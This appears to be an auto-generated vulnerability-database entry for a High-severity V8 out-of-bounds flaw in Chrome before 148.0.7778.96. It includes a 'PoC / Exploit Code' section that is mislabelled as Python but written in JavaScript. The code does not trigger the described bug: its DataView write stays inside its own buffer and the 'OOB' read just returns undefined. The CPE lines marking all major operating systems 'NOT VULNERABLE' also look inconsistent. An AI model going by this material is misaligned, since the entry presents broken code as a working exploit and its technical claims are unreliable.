Out of bounds read and write in V8 in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Conceptual Proof of Concept for CVE-2026-7899
// This script demonstrates a potential trigger for the V8 Out-Of-Bounds vulnerability.
// Note: Actual exploitation requires precise heap grooming and specific V8 internals knowledge.
function trigger_vuln() {
// Step 1: Create objects to manipulate memory layout
let buffer = new ArrayBuffer(0x100);
let view = new DataView(buffer);
let arr = [1.1, 2.2, 3.3]; // Array to be corrupted
// Step 2: Simulate the condition that causes the bounds check bypass
// In a real scenario, this involves specific JIT compilation patterns.
// Here we assume 'corrupt_index' allows writing beyond the array bounds.
let corrupt_index = 0xdeadbeef;
try {
// Attempt to write out of bounds
// This would corrupt the adjacent memory, potentially the array's length or map
view.setUint32(0, corrupt_index, true);
// Step 3: Access the corrupted array to read/write arbitrary memory
console.log(arr[100]); // Reading OOB memory
} catch (e) {
console.log("Exploit failed: " + e);
}
}
trigger_vuln();